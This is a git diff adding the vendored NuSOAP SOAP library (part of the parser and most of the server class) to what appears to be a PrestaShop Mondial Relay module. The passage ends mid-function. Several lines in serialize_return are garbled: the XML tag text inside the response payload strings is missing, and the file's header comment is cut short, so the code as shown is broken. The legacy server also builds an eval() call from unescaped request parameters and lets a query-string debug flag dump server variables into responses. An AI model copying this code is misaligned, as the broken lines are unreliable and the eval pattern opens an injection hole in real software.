if (isset($this->message[$pos]['type'])) { + $params['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + } else { + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $params['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + } else { + $params['!'] = $this->message[$pos]['cdata']; + } + } + } + $ret = is_array($params) ? $params : array(); + $this->debug('in buildVal, return:'); + $this->appendDebug($this->varDump($ret)); + return $ret; + } else { + $this->debug('in buildVal, no children, building scalar'); + $cdata = isset($this->message[$pos]['cdata']) ? $this->message[$pos]['cdata'] : ''; + if (isset($this->message[$pos]['type'])) { + $ret = $this->decodeSimple($cdata, $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + $this->debug("in buildVal, return: $ret"); + return $ret; + } + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $ret = $this->decodeSimple($cdata, $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + $this->debug("in buildVal, return: $ret"); + return $ret; + } + $ret = $this->message[$pos]['cdata']; + $this->debug("in buildVal, return: $ret"); + return $ret; + } + } +} + +/** + * Backward compatibility + */ +class soap_parser extends nusoap_parser { +} + + diff --git a/modules/mondialrelay/lib/nusoap/class.soap_server.php b/modules/mondialrelay/lib/nusoap/class.soap_server.php new file mode 100755 index 0000000..4b8d58c --- /dev/null +++ b/modules/mondialrelay/lib/nusoap/class.soap_server.php @@ -0,0 +1,1126 @@ + +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_server extends nusoap_base { + /** + * HTTP headers of request + * @var array + * @access private + */ + var $headers = array(); + /** + * HTTP request + * @var string + * @access private + */ + var $request = ''; + /** + * SOAP headers from request (incomplete namespace resolution; special characters not escaped) (text) + * @var string + * @access public + */ + var $requestHeaders = ''; + /** + * SOAP Headers from request (parsed) + * @var mixed + * @access public + */ + var $requestHeader = NULL; + /** + * SOAP body request portion (incomplete namespace resolution; special characters not escaped) (text) + * @var string + * @access public + */ + var $document = ''; + /** + * SOAP payload for request (text) + * @var string + * @access public + */ + var $requestSOAP = ''; + /** + * requested method namespace URI + * @var string + * @access private + */ + var $methodURI = ''; + /** + * name of method requested + * @var string + * @access private + */ + var $methodname = ''; + /** + * method parameters from request + * @var array + * @access private + */ + var $methodparams = array(); + /** + * SOAP Action from request + * @var string + * @access private + */ + var $SOAPAction = ''; + /** + * character set encoding of incoming (request) messages + * @var string + * @access public + */ + var $xml_encoding = ''; + /** + * toggles whether the parser decodes element content w/ utf8_decode() + * @var boolean + * @access public + */ + var $decode_utf8 = true; + + /** + * HTTP headers of response + * @var array + * @access public + */ + var $outgoing_headers = array(); + /** + * HTTP response + * @var string + * @access private + */ + var $response = ''; + /** + * SOAP headers for response (text or array of soapval or associative array) + * @var mixed + * @access public + */ + var $responseHeaders = ''; + /** + * SOAP payload for response (text) + * @var string + * @access private + */ + var $responseSOAP = ''; + /** + * method return value to place in response + * @var mixed + * @access private + */ + var $methodreturn = false; + /** + * whether $methodreturn is a string of literal XML + * @var boolean + * @access public + */ + var $methodreturnisliteralxml = false; + /** + * SOAP fault for response (or false) + * @var mixed + * @access private + */ + var $fault = false; + /** + * text indication of result (for debugging) + * @var string + * @access private + */ + var $result = 'successful'; + + /** + * assoc array of operations => opData; operations are added by the register() + * method or by parsing an external WSDL definition + * @var array + * @access private + */ + var $operations = array(); + /** + * wsdl instance (if one) + * @var mixed + * @access private + */ + var $wsdl = false; + /** + * URL for WSDL (if one) + * @var mixed + * @access private + */ + var $externalWSDLURL = false; + /** + * whether to append debug to response as XML comment + * @var boolean + * @access public + */ + var $debug_flag = false; + + + /** + * constructor + * the optional parameter is a path to a WSDL file that you'd like to bind the server instance to. + * + * @param mixed $wsdl file path or URL (string), or wsdl instance (object) + * @access public + */ + function nusoap_server($wsdl=false){ + parent::nusoap_base(); + // turn on debugging? + global $debug; + global $HTTP_SERVER_VARS; + + if (isset($_SERVER)) { + $this->debug("_SERVER is defined:"); + $this->appendDebug($this->varDump($_SERVER)); + } elseif (isset($HTTP_SERVER_VARS)) { + $this->debug("HTTP_SERVER_VARS is defined:"); + $this->appendDebug($this->varDump($HTTP_SERVER_VARS)); + } else { + $this->debug("Neither _SERVER nor HTTP_SERVER_VARS is defined."); + } + + if (isset($debug)) { + $this->debug("In nusoap_server, set debug_flag=$debug based on global flag"); + $this->debug_flag = $debug; + } elseif (isset($_SERVER['QUERY_STRING'])) { + $qs = explode('&', $_SERVER['QUERY_STRING']); + foreach ($qs as $v) { + if (substr($v, 0, 6) == 'debug=') { + $this->debug("In nusoap_server, set debug_flag=" . substr($v, 6) . " based on query string #1"); + $this->debug_flag = substr($v, 6); + } + } + } elseif (isset($HTTP_SERVER_VARS['QUERY_STRING'])) { + $qs = explode('&', $HTTP_SERVER_VARS['QUERY_STRING']); + foreach ($qs as $v) { + if (substr($v, 0, 6) == 'debug=') { + $this->debug("In nusoap_server, set debug_flag=" . substr($v, 6) . " based on query string #2"); + $this->debug_flag = substr($v, 6); + } + } + } + + // wsdl + if($wsdl){ + $this->debug("In nusoap_server, WSDL is specified"); + if (is_object($wsdl) && (get_class($wsdl) == 'wsdl')) { + $this->wsdl = $wsdl; + $this->externalWSDLURL = $this->wsdl->wsdl; + $this->debug('Use existing wsdl instance from ' . $this->externalWSDLURL); + } else { + $this->debug('Create wsdl from ' . $wsdl); + $this->wsdl = new wsdl($wsdl); + $this->externalWSDLURL = $wsdl; + } + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + if($err = $this->wsdl->getError()){ + die('WSDL ERROR: '.$err); + } + } + } + + /** + * processes request and returns response + * + * @param string $data usually is the value of $HTTP_RAW_POST_DATA + * @access public + */ + function service($data){ + global $HTTP_SERVER_VARS; + + if (isset($_SERVER['REQUEST_METHOD'])) { + $rm = $_SERVER['REQUEST_METHOD']; + } elseif (isset($HTTP_SERVER_VARS['REQUEST_METHOD'])) { + $rm = $HTTP_SERVER_VARS['REQUEST_METHOD']; + } else { + $rm = ''; + } + + if (isset($_SERVER['QUERY_STRING'])) { + $qs = $_SERVER['QUERY_STRING']; + } elseif (isset($HTTP_SERVER_VARS['QUERY_STRING'])) { + $qs = $HTTP_SERVER_VARS['QUERY_STRING']; + } else { + $qs = ''; + } + $this->debug("In service, request method=$rm query string=$qs strlen(\$data)=" . strlen($data)); + + if ($rm == 'POST') { + $this->debug("In service, invoke the request"); + $this->parse_request($data); + if (! $this->fault) { + $this->invoke_method(); + } + if (! $this->fault) { + $this->serialize_return(); + } + $this->send_response(); + } elseif (preg_match('/wsdl/', $qs) ){ + $this->debug("In service, this is a request for WSDL"); + if ($this->externalWSDLURL){ + if (strpos($this->externalWSDLURL, "http://") !== false) { // assume URL + $this->debug("In service, re-direct for WSDL"); + header('Location: '.$this->externalWSDLURL); + } else { // assume file + $this->debug("In service, use file passthru for WSDL"); + header("Content-Type: text/xml\r\n"); + $pos = strpos($this->externalWSDLURL, "file://"); + if ($pos === false) { + $filename = $this->externalWSDLURL; + } else { + $filename = substr($this->externalWSDLURL, $pos + 7); + } + $fp = fopen($this->externalWSDLURL, 'r'); + fpassthru($fp); + } + } elseif ($this->wsdl) { + $this->debug("In service, serialize WSDL"); + header("Content-Type: text/xml; charset=ISO-8859-1\r\n"); + print $this->wsdl->serialize($this->debug_flag); + if ($this->debug_flag) { + $this->debug('wsdl:'); + $this->appendDebug($this->varDump($this->wsdl)); + print $this->getDebugAsXMLComment(); + } + } else { + $this->debug("In service, there is no WSDL"); + header("Content-Type: text/html; charset=ISO-8859-1\r\n"); + print "This service does not provide WSDL"; + } + } elseif ($this->wsdl) { + $this->debug("In service, return Web description"); + print $this->wsdl->webDescription(); + } else { + $this->debug("In service, no Web description"); + header("Content-Type: text/html; charset=ISO-8859-1\r\n"); + print "This service does not provide a Web description"; + } + } + + /** + * parses HTTP request headers. + * + * The following fields are set by this function (when successful) + * + * headers + * request + * xml_encoding + * SOAPAction + * + * @access private + */ + function parse_http_headers() { + global $HTTP_SERVER_VARS; + + $this->request = ''; + $this->SOAPAction = ''; + if(function_exists('getallheaders')){ + $this->debug("In parse_http_headers, use getallheaders"); + $headers = getallheaders(); + foreach($headers as $k=>$v){ + $k = strtolower($k); + $this->headers[$k] = $v; + $this->request .= "$k: $v\r\n"; + $this->debug("$k: $v"); + } + // get SOAPAction header + if(isset($this->headers['soapaction'])){ + $this->SOAPAction = str_replace('"','',$this->headers['soapaction']); + } + // get the character encoding of the incoming request + if(isset($this->headers['content-type']) && strpos($this->headers['content-type'],'=')){ + $enc = str_replace('"','',substr(strstr($this->headers["content-type"],'='),1)); + if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + } elseif(isset($_SERVER) && is_array($_SERVER)){ + $this->debug("In parse_http_headers, use _SERVER"); + foreach ($_SERVER as $k => $v) { + if (substr($k, 0, 5) == 'HTTP_') { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', substr($k, 5)))); + } else { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', $k))); + } + if ($k == 'soapaction') { + // get SOAPAction header + $k = 'SOAPAction'; + $v = str_replace('"', '', $v); + $v = str_replace('\\', '', $v); + $this->SOAPAction = $v; + } else if ($k == 'content-type') { + // get the character encoding of the incoming request + if (strpos($v, '=')) { + $enc = substr(strstr($v, '='), 1); + $enc = str_replace('"', '', $enc); + $enc = str_replace('\\', '', $enc); + if (preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)) { + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + } + $this->headers[$k] = $v; + $this->request .= "$k: $v\r\n"; + $this->debug("$k: $v"); + } + } elseif (is_array($HTTP_SERVER_VARS)) { + $this->debug("In parse_http_headers, use HTTP_SERVER_VARS"); + foreach ($HTTP_SERVER_VARS as $k => $v) { + if (substr($k, 0, 5) == 'HTTP_') { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', substr($k, 5)))); $k = strtolower(substr($k, 5)); + } else { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', $k))); $k = strtolower($k); + } + if ($k == 'soapaction') { + // get SOAPAction header + $k = 'SOAPAction'; + $v = str_replace('"', '', $v); + $v = str_replace('\\', '', $v); + $this->SOAPAction = $v; + } else if ($k == 'content-type') { + // get the character encoding of the incoming request + if (strpos($v, '=')) { + $enc = substr(strstr($v, '='), 1); + $enc = str_replace('"', '', $enc); + $enc = str_replace('\\', '', $enc); + if (preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)) { + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + } + $this->headers[$k] = $v; + $this->request .= "$k: $v\r\n"; + $this->debug("$k: $v"); + } + } else { + $this->debug("In parse_http_headers, HTTP headers not accessible"); + $this->setError("HTTP headers not accessible"); + } + } + + /** + * parses a request + * + * The following fields are set by this function (when successful) + * + * headers + * request + * xml_encoding + * SOAPAction + * request + * requestSOAP + * methodURI + * methodname + * methodparams + * requestHeaders + * document + * + * This sets the fault field on error + * + * @param string $data XML string + * @access private + */ + function parse_request($data='') { + $this->debug('entering parse_request()'); + $this->parse_http_headers(); + $this->debug('got character encoding: '.$this->xml_encoding); + // uncompress if necessary + if (isset($this->headers['content-encoding']) && $this->headers['content-encoding'] != '') { + $this->debug('got content encoding: ' . $this->headers['content-encoding']); + if ($this->headers['content-encoding'] == 'deflate' || $this->headers['content-encoding'] == 'gzip') { + // if decoding works, use it. else assume data wasn't gzencoded + if (function_exists('gzuncompress')) { + if ($this->headers['content-encoding'] == 'deflate' && $degzdata = @gzuncompress($data)) { + $data = $degzdata; + } elseif ($this->headers['content-encoding'] == 'gzip' && $degzdata = gzinflate(substr($data, 10))) { + $data = $degzdata; + } else { + $this->fault('SOAP-ENV:Client', 'Errors occurred when trying to decode the data'); + return; + } + } else { + $this->fault('SOAP-ENV:Client', 'This Server does not support compressed data'); + return; + } + } + } + $this->request .= "\r\n".$data; + $data = $this->parseRequest($this->headers, $data); + $this->requestSOAP = $data; + $this->debug('leaving parse_request'); + } + + /** + * invokes a PHP function for the requested SOAP method + * + * The following fields are set by this function (when successful) + * + * methodreturn + * + * Note that the PHP function that is called may also set the following + * fields to affect the response sent to the client + * + * responseHeaders + * outgoing_headers + * + * This sets the fault field on error + * + * @access private + */ + function invoke_method() { + $this->debug('in invoke_method, methodname=' . $this->methodname . ' methodURI=' . $this->methodURI . ' SOAPAction=' . $this->SOAPAction); + + // + // if you are debugging in this area of the code, your service uses a class to implement methods, + // you use SOAP RPC, and the client is .NET, please be aware of the following... + // when the .NET wsdl.exe utility generates a proxy, it will remove the '.' or '..' from the + // method name. that is fine for naming the .NET methods. it is not fine for properly constructing + // the XML request and reading the XML response. you need to add the RequestElementName and + // ResponseElementName to the System.Web.Services.Protocols.SoapRpcMethodAttribute that wsdl.exe + // generates for the method. these parameters are used to specify the correct XML element names + // for .NET to use, i.e. the names with the '.' in them. + // + $orig_methodname = $this->methodname; + if ($this->wsdl) { + if ($this->opData = $this->wsdl->getOperationData($this->methodname)) { + $this->debug('in invoke_method, found WSDL operation=' . $this->methodname); + $this->appendDebug('opData=' . $this->varDump($this->opData)); + } elseif ($this->opData = $this->wsdl->getOperationDataForSoapAction($this->SOAPAction)) { + // Note: hopefully this case will only be used for doc/lit, since rpc services should have wrapper element + $this->debug('in invoke_method, found WSDL soapAction=' . $this->SOAPAction . ' for operation=' . $this->opData['name']); + $this->appendDebug('opData=' . $this->varDump($this->opData)); + $this->methodname = $this->opData['name']; + } else { + $this->debug('in invoke_method, no WSDL for operation=' . $this->methodname); + $this->fault('SOAP-ENV:Client', "Operation '" . $this->methodname . "' is not defined in the WSDL for this service"); + return; + } + } else { + $this->debug('in invoke_method, no WSDL to validate method'); + } + + // if a . is present in $this->methodname, we see if there is a class in scope, + // which could be referred to. We will also distinguish between two deliminators, + // to allow methods to be called a the class or an instance + if (strpos($this->methodname, '..') > 0) { + $delim = '..'; + } else if (strpos($this->methodname, '.') > 0) { + $delim = '.'; + } else { + $delim = ''; + } + $this->debug("in invoke_method, delim=$delim"); + + $class = ''; + $method = ''; + if (strlen($delim) > 0 && substr_count($this->methodname, $delim) == 1) { + $try_class = substr($this->methodname, 0, strpos($this->methodname, $delim)); + if (class_exists($try_class)) { + // get the class and method name + $class = $try_class; + $method = substr($this->methodname, strpos($this->methodname, $delim) + strlen($delim)); + $this->debug("in invoke_method, class=$class method=$method delim=$delim"); + } else { + $this->debug("in invoke_method, class=$try_class not found"); + } + } else { + $try_class = ''; + $this->debug("in invoke_method, no class to try"); + } + + // does method exist? + if ($class == '') { + if (!function_exists($this->methodname)) { + $this->debug("in invoke_method, function '$this->methodname' not found!"); + $this->result = 'fault: method not found'; + $this->fault('SOAP-ENV:Client',"method '$this->methodname'('$orig_methodname') not defined in service('$try_class' '$delim')"); + return; + } + } else { + $method_to_compare = (substr(phpversion(), 0, 2) == '4.') ? strtolower($method) : $method; + if (!in_array($method_to_compare, get_class_methods($class))) { + $this->debug("in invoke_method, method '$this->methodname' not found in class '$class'!"); + $this->result = 'fault: method not found'; + $this->fault('SOAP-ENV:Client',"method '$this->methodname'/'$method_to_compare'('$orig_methodname') not defined in service/'$class'('$try_class' '$delim')"); + return; + } + } + + // evaluate message, getting back parameters + // verify that request parameters match the method's signature + if(! $this->verify_method($this->methodname,$this->methodparams)){ + // debug + $this->debug('ERROR: request not verified against method signature'); + $this->result = 'fault: request failed validation against method signature'; + // return fault + $this->fault('SOAP-ENV:Client',"Operation '$this->methodname' not defined in service."); + return; + } + + // if there are parameters to pass + $this->debug('in invoke_method, params:'); + $this->appendDebug($this->varDump($this->methodparams)); + $this->debug("in invoke_method, calling '$this->methodname'"); + if (!function_exists('call_user_func_array')) { + if ($class == '') { + $this->debug('in invoke_method, calling function using eval()'); + $funcCall = "\$this->methodreturn = $this->methodname("; + } else { + if ($delim == '..') { + $this->debug('in invoke_method, calling class method using eval()'); + $funcCall = "\$this->methodreturn = ".$class."::".$method."("; + } else { + $this->debug('in invoke_method, calling instance method using eval()'); + // generate unique instance name + $instname = "\$inst_".time(); + $funcCall = $instname." = new ".$class."(); "; + $funcCall .= "\$this->methodreturn = ".$instname."->".$method."("; + } + } + if ($this->methodparams) { + foreach ($this->methodparams as $param) { + if (is_array($param) || is_object($param)) { + $this->fault('SOAP-ENV:Client', 'NuSOAP does not handle complexType parameters correctly when using eval; call_user_func_array must be available'); + return; + } + $funcCall .= "\"$param\","; + } + $funcCall = substr($funcCall, 0, -1); + } + $funcCall .= ');'; + $this->debug('in invoke_method, function call: '.$funcCall); + @eval($funcCall); + } else { + if ($class == '') { + $this->debug('in invoke_method, calling function using call_user_func_array()'); + $call_arg = "$this->methodname"; // straight assignment changes $this->methodname to lower case after call_user_func_array() + } elseif ($delim == '..') { + $this->debug('in invoke_method, calling class method using call_user_func_array()'); + $call_arg = array ($class, $method); + } else { + $this->debug('in invoke_method, calling instance method using call_user_func_array()'); + $instance = new $class (); + $call_arg = array(&$instance, $method); + } + if (is_array($this->methodparams)) { + $this->methodreturn = call_user_func_array($call_arg, array_values($this->methodparams)); + } else { + $this->methodreturn = call_user_func_array($call_arg, array()); + } + } + $this->debug('in invoke_method, methodreturn:'); + $this->appendDebug($this->varDump($this->methodreturn)); + $this->debug("in invoke_method, called method $this->methodname, received data of type ".gettype($this->methodreturn)); + } + + /** + * serializes the return value from a PHP function into a full SOAP Envelope + * + * The following fields are set by this function (when successful) + * + * responseSOAP + * + * This sets the fault field on error + * + * @access private + */ + function serialize_return() { + $this->debug('Entering serialize_return methodname: ' . $this->methodname . ' methodURI: ' . $this->methodURI); + // if fault + if (isset($this->methodreturn) && is_object($this->methodreturn) && ((get_class($this->methodreturn) == 'soap_fault') || (get_class($this->methodreturn) == 'nusoap_fault'))) { + $this->debug('got a fault object from method'); + $this->fault = $this->methodreturn; + return; + } elseif ($this->methodreturnisliteralxml) { + $return_val = $this->methodreturn; + // returned value(s) + } else { + $this->debug('got a(n) '.gettype($this->methodreturn).' from method'); + $this->debug('serializing return value'); + if($this->wsdl){ + if (sizeof($this->opData['output']['parts']) > 1) { + $this->debug('more than one output part, so use the method return unchanged'); + $opParams = $this->methodreturn; + } elseif (sizeof($this->opData['output']['parts']) == 1) { + $this->debug('exactly one output part, so wrap the method return in a simple array'); + // TODO: verify that it is not already wrapped! + //foreach ($this->opData['output']['parts'] as $name => $type) { + // $this->debug('wrap in element named ' . $name); + //} + $opParams = array($this->methodreturn); + } + $return_val = $this->wsdl->serializeRPCParameters($this->methodname,'output',$opParams); + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + if($errstr = $this->wsdl->getError()){ + $this->debug('got wsdl error: '.$errstr); + $this->fault('SOAP-ENV:Server', 'unable to serialize result'); + return; + } + } else { + if (isset($this->methodreturn)) { + $return_val = $this->serialize_val($this->methodreturn, 'return'); + } else { + $return_val = ''; + $this->debug('in absence of WSDL, assume void return for backward compatibility'); + } + } + } + $this->debug('return value:'); + $this->appendDebug($this->varDump($return_val)); + + $this->debug('serializing response'); + if ($this->wsdl) { + $this->debug('have WSDL for serialization: style is ' . $this->opData['style']); + if ($this->opData['style'] == 'rpc') { + $this->debug('style is rpc for serialization: use is ' . $this->opData['output']['use']); + if ($this->opData['output']['use'] == 'literal') { + // http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735 says rpc/literal accessor elements should not be in a namespace + if ($this->methodURI) { + $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; + } else { + $payload = '<'.$this->methodname.'Response>'.$return_val.'methodname.'Response>'; + } + } else { + if ($this->methodURI) { + $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; + } else { + $payload = '<'.$this->methodname.'Response>'.$return_val.'methodname.'Response>'; + } + } + } else { + $this->debug('style is not rpc for serialization: assume document'); + $payload = $return_val; + } + } else { + $this->debug('do not have WSDL for serialization: assume rpc/encoded'); + $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; + } + $this->result = 'successful'; + if($this->wsdl){ + //if($this->debug_flag){ + $this->appendDebug($this->wsdl->getDebug()); + // } + if (isset($this->opData['output']['encodingStyle'])) { + $encodingStyle = $this->opData['output']['encodingStyle']; + } else { + $encodingStyle = ''; + } + // Added: In case we use a WSDL, return a serialized env. WITH the usedNamespaces. + $this->responseSOAP = $this->serializeEnvelope($payload,$this->responseHeaders,$this->wsdl->usedNamespaces,$this->opData['style'],$this->opData['output']['use'],$encodingStyle); + } else { + $this->responseSOAP = $this->serializeEnvelope($payload,$this->responseHeaders); + } + $this->debug("Leaving serialize_return"); + } + + /** + * sends an HTTP response + * + * The following fields are set by this function (when successful) + * + * outgoing_headers + * response + * + * @access private + */ + function send_response() { + $this->debug('Enter send_response'); + if ($this->fault) { + $payload = $this->fault->serialize(); + $this->outgoing_headers[] = "HTTP/1.0 500 Internal Server Error"; + $this->outgoing_headers[] = "Status: 500 Internal Server Error"; + } else { + $payload = $this->responseSOAP; + // Some combinations of PHP+Web server allow the Status + // to come through as a header. Since OK is the default + // just do nothing. + // $this->outgoing_headers[] = "HTTP/1.0 200 OK"; + // $this->outgoing_headers[] = "Status: 200 OK"; + } + // add debug data if in debug mode + if(isset($this->debug_flag) && $this->debug_flag){ + $payload .= $this->getDebugAsXMLComment(); + } + $this->outgoing_headers[] = "Server: $this->title Server v$this->version"; + preg_match('/\$Revisio' . 'n: ([^ ]+)/', $this->revision, $rev); + $this->outgoing_headers[] = "X-SOAP-Server: $this->title/$this->version (".$rev[1].")"; + // Let the Web server decide about this + //$this->outgoing_headers[] = "Connection: Close\r\n"; + $payload = $this->getHTTPBody($payload); + $type = $this->getHTTPContentType(); + $charset = $this->getHTTPContentTypeCharset(); + $this->outgoing_headers[] = "Content-Type: $type" . ($charset ? '; charset=' . $charset : ''); + //begin code to compress payload - by John + // NOTE: there is no way to know whether the Web server will also compress + // this data. + if (strlen($payload) > 1024 && isset($this->headers) && isset($this->headers['accept-encoding'])) { + if (strstr($this->headers['accept-encoding'], 'gzip')) { + if (function_exists('gzencode')) { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + $this->outgoing_headers[] = "Content-Encoding: gzip"; + $payload = gzencode($payload); + } else { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + } + } elseif (strstr($this->headers['accept-encoding'], 'deflate')) { + // Note: MSIE requires gzdeflate output (no Zlib header and checksum), + // instead of gzcompress output, + // which conflicts with HTTP 1.1 spec (http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.5) + if (function_exists('gzdeflate')) { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + $this->outgoing_headers[] = "Content-Encoding: deflate"; + $payload = gzdeflate($payload); + } else { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + } + } + } + //end code + $this->outgoing_headers[] = "Content-Length: ".strlen($payload); + reset($this->outgoing_headers); + foreach($this->outgoing_headers as $hdr){ + header($hdr, false); + } + print $payload; + $this->response = join("\r\n",$this->outgoing_headers)."\r\n\r\n".$payload; + } + + /** + * takes the value that was created by parsing the request + * and compares to the method's signature, if available. + * + * @param string $operation The operation to be invoked + * @param array $request The array of parameter values + * @return boolean Whether the operation was found + * @access private + */ + function verify_method($operation,$request){ + if(isset($this->wsdl) && is_object($this->wsdl)){ + if($this->wsdl->getOperationData($operation)){ + return true; + } + } elseif(isset($this->operations[$operation])){ + return true; + } + return false; + } + + /** + * processes SOAP message received from client + * + * @param array $headers The HTTP headers + * @param string $data unprocessed request data from client + * @return mixed value of the message, decoded into a PHP type + * @access private + */ + function parseRequest($headers, $data) { + $this->debug('Entering parseRequest() for data of length ' . strlen($data) . ' headers:'); + $this->appendDebug($this->varDump($headers)); + if (!isset($headers['content-type'])) { + $this->setError('Request not of type text/xml (no content-type header)'); + return false; + } + if (!strstr($headers['content-type'], 'text/xml')) { + $this->setError('Request not of type text/xml'); + return false; + } + if (strpos($headers['content-type'], '=')) { + $enc = str_replace('"', '', substr(strstr($headers["content-type"], '='), 1)); + $this->debug('Got response encoding: ' . $enc); + if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + $this->debug('Use encoding: ' . $this->xml_encoding . ' when creating nusoap_parser'); + // parse response, get soap parser obj + $parser = new nusoap_parser($data,$this->xml_encoding,'',$this->decode_utf8); + // parser debug + $this->debug("parser debug: \n".$parser->getDebug()); + // if fault occurred during message parsing + if($err = $parser->getError()){ + $this->result = 'fault: error in msg parsing: '.$err; + $this->fault('SOAP-ENV:Client',"error in msg parsing:\n".$err); + // else successfully parsed request into soapval object + } else { + // get/set methodname + $this->methodURI = $parser->root_struct_namespace; + $this->methodname = $parser->root_struct_name; + $this->debug('methodname: '.$this->methodname.' methodURI: '.$this->methodURI); + $this->debug('calling parser->get_soapbody()'); + $this->methodparams = $parser->get_soapbody(); + // get SOAP headers + $this->requestHeaders = $parser->getHeaders(); + // get SOAP Header + $this->requestHeader = $parser->get_soapheader(); + // add document for doclit support + $this->document = $parser->document; + } + } + + /** + * gets the HTTP body for the current response. + * + * @param string $soapmsg The SOAP payload + * @return string The HTTP body, which includes the SOAP payload + * @access private + */ + function getHTTPBody($soapmsg) { + return $soapmsg; + } + + /** + * gets the HTTP content type for the current response. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type for the current response. + * @access private + */ + function getHTTPContentType() { + return 'text/xml'; + } + + /** + * gets the HTTP content type charset for the current response. + * returns false for non-text content types. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type charset for the current response. + * @access private + */ + function getHTTPContentTypeCharset() { + return $this->soap_defencoding; + } + + /** + * add a method to the dispatch map (this has been replaced by the register method) + * + * @param string $methodname + * @param string $in array of input values + * @param string $out array of output values + * @access public + * @deprecated + */ + function add_to_map($methodname,$in,$out){ + $this->operations[$methodname] = array('name' => $methodname,'in' => $in,'out' => $out); + } + + /** + * register a service function with the server + * + * @param string $name the name of the PHP function, class.method or class..method + * @param array $in assoc array of input values: key = param name, value = param type + * @param array $out assoc array of output values: key = param name, value = param type + * @param mixed $namespace the element namespace for the method or false + * @param mixed $soapaction the soapaction for the method or false + * @param mixed $style optional (rpc|document) or false Note: when 'document' is specified, parameter and return wrappers are created for you automatically + * @param mixed $use optional (encoded|literal) or false + * @param string $documentation optional Description to include in WSDL + * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) + * @access public + */ + function register($name,$in=array(),$out=array(),$namespace=false,$soapaction=false,$style=false,$use=false,$documentation='',$encodingStyle=''){ + global $HTTP_SERVER_VARS; + + if($this->externalWSDLURL){ + die('You cannot bind to an external WSDL file, and register methods outside of it! Please choose either WSDL or no WSDL.'); + } + if (! $name) { + die('You must specify a name when you register an operation'); + } + if (!is_array($in)) { + die('You must provide an array for operation inputs'); + } + if (!is_array($out)) { + die('You must provide an array for operation outputs'); + } + if(false == $namespace) { + } + if(false == $soapaction) { + if (isset($_SERVER)) { + $SERVER_NAME = $_SERVER['SERVER_NAME']; + $SCRIPT_NAME = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; + $HTTPS = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : (isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'); + } elseif (isset($HTTP_SERVER_VARS)) { + $SERVER_NAME = $HTTP_SERVER_VARS['SERVER_NAME']; + $SCRIPT_NAME = isset($HTTP_SERVER_VARS['PHP_SELF']) ? $HTTP_SERVER_VARS['PHP_SELF'] : $HTTP_SERVER_VARS['SCRIPT_NAME']; + $HTTPS = isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'; + } else { + $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); + } + if ($HTTPS == '1' || $HTTPS == 'on') { + $SCHEME = 'https'; + } else { + $SCHEME = 'http'; + } + $soapaction = "$SCHEME://$SERVER_NAME$SCRIPT_NAME/$name"; + } + if(false == $style) { + $style = "rpc"; + } + if(false == $use) { + $use = "encoded"; + } + if ($use == 'encoded' && $encodingStyle == '') { + $encodingStyle = 